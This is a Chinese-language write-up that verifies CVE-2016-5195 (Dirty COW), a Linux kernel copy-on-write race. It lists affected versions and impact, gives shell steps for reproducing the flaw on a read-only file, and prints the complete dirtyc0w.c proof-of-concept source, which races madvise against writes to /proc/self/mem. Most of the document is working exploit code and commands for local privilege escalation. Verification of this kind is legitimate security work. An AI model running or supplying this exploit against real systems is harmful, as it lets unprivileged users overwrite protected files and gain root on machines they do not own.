CVE-2016-5195 脏牛漏洞：Linux内核通杀提权漏洞验证

一、漏洞简介

漏洞编号：CVE-2016-5195

漏洞名称：脏牛（Dirty COW）

漏洞危害：低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围：Linux内核>=2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复。

Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC，确认Android受影响

二、漏洞影响

1. 没有权限的本地用户可以使用此漏洞获取写访问权限，修改制度内存映射，从而提权。

2. 改漏洞允许攻击者使用本地账户修改磁盘上的二进制文件，绕过标准权限的限制，这些权限机制通常用于防止修改没有适当的权限集。

三、漏洞细节

RedHat官网：https://access.redhat.com/security/vulnerabilities/2706661

四、漏洞验证

1、创建个测试用户

# useradd test

2、创建一个test文件，文件内容为this is test

# cd /tmp

# echo this is test > test

# cat test

this is test

3、把test文件权限设置成0404

# chmod 0404 test

# ls -l test

-r-----r-- 1 root root 13 Oct 27 14:12 test

4、创建漏洞利用POC脚本

# vim dirtyc0w.c

5、运行脚本

# gcc -lpthread dirtyc0w.c -o dirtyc0w

6、切换到test用户

# su - test

$ cd /tmp/

7、用漏洞脚本把test文件内容更改为m00000000000000000

$ ./dirtyc0w test m00000000000000000

mmap 7ff37b870000

madvise 0

procselfmem 1800000000

8、查看结果，test文件内容被更改。漏洞存在

$ cat test

m000000000000

dirtyc0w.c文件内容

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
 char *str;
 str=(char*)arg;
 int i,c=0;
 for(i=0;i<100000000;i++)
 {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
 c+=madvise(map,100,MADV_DONTNEED);
 }
 printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
 char *str;
 str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
 int f=open("/proc/self/mem",O_RDWR);
 int i,c=0;
 for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
 lseek(f,(uintptr_t) map,SEEK_SET);
 c+=write(f,str,strlen(str));
 }
 printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
 if (argc<3) {
 (void)fprintf(stderr, "%s\n",
 "usage: dirtyc0w target_file new_content");
 return 1; }
 pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
 f=open(argv[1],O_RDONLY);
 fstat(f,&st);
 name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
 printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
 pthread_create(&pth1,NULL,madviseThread,argv[1]);
 pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
 pthread_join(pth1,NULL);
 pthread_join(pth2,NULL);
 return 0;
}